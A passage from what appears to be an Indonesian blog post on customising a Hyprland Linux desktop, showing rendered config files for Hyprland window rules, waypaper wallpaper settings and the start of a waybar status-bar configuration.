&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;313&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Ignore maximize requests from apps. You&apos;ll probably like this.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;314&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;windowrule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;suppressevent&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;maximize,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;class:.&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;315&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;316&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Fix some dragging issues with XWayland&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;317&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;windowrule&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nofocus,class:^&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;,title:^&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;,xwayland:1,floating:1,fullscreen:0,pinned:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;File konfigurasi &lt;strong&gt;&lt;code&gt;waypaper&lt;/code&gt;&lt;/strong&gt; tersimpan di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;~/.config/waypaper/config.ini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[Settings]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;language&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; en&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;folder&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ~/Pictures&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;monitors&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; All&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wallpaper&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ~/Pictures/leaves.jpg&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show_path_in_tooltip&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; True&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;backend&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; swww&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fill&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; fill&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sort&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; name&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;color&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#ffffff&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;subfolders&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;all_subfolders&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show_hidden&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;show_gifs_only&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zen_mode&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;post_command&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;number_of_columns&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 3&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;swww_transition_type&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; outer&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;swww_transition_step&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 90&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;swww_transition_angle&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;swww_transition_duration&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;swww_transition_fps&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 60&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpvpaper_sound&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpvpaper_options&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;use_xdg_state&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; False&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;File konfigurasi &lt;strong&gt;&lt;code&gt;waybar&lt;/code&gt;&lt;/strong&gt; tersimpan di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;~/.config/waybar/config.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;File config ini “nyolong” dari repo berikut:&lt;/p&gt;&lt;a href=&quot;https://github.com/woioeow/hyprland-dotfiles&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;woioeow&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;hyprland-dotfiles&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.jsonc&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;layer&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;top&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;position&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;top&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;height&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;spacing&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;modules-left&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;hyprland/workspaces&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tray&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;custom/lock&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;custom/reboot&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;custom/power&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;modules-center&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;hyprland/window&quot;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;modules-right&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;network&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;battery&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;bluetooth&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;pulseaudio&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;backlight&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;custom/temperature&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;memory&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;cpu&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;clock&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;hyprland/workspaces&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;disable-scroll&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;all-outputs&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;{icon}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;on-click&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;activate&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;persistent-workspaces&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;*&quot;&lt;/span&gt;&lt;span&gt;:[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-icons&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;1&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;󰣇&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;2&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;󰈹&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;3&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;󰇮&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;4&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;5&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;6&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;7&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;8&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;9&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;󰖳&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  